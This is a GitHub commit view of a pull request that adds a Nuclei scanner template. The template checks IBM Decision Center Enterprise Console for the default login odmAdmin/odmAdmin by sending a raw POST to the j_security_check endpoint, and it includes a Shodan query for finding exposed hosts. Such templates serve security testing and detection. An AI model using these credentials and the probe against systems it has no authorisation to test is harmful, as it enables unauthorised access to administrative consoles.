Merge pull request #9203 from projectdiscovery/ibm-dcec-default-login

Create ibm-dcec-default-login.yaml
patch-1
Ritik Chaddha 2024-02-23 17:56:15 +05:30 committed by GitHub
commit e76f9fdb7b
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
id: ibm-dcec-default-login
info:
name: IBM Decision Center Enterprise Console - Default Login
author: DhiyaneshDK
severity: high
reference:
- https://www.ibm.com/docs/en/odm/8.5.1?topic=console-tutorial-getting-started-decision-center-enterprise
metadata:
verified: true
shodan-query: html="Decision Center Enterprise console"
tags: ibm,default-login,decision-center
http:
- raw:
- |
POST /teamserver/j_security_check HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
j_username={{username}}&j_password={{password}}
host-redirects: true
max-redirects: 3
attack: pitchfork
payloads:
username:
- odmAdmin
password:
- odmAdmin
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Current action:"
- "Sign Out"
condition: and
- type: status
status:
- 200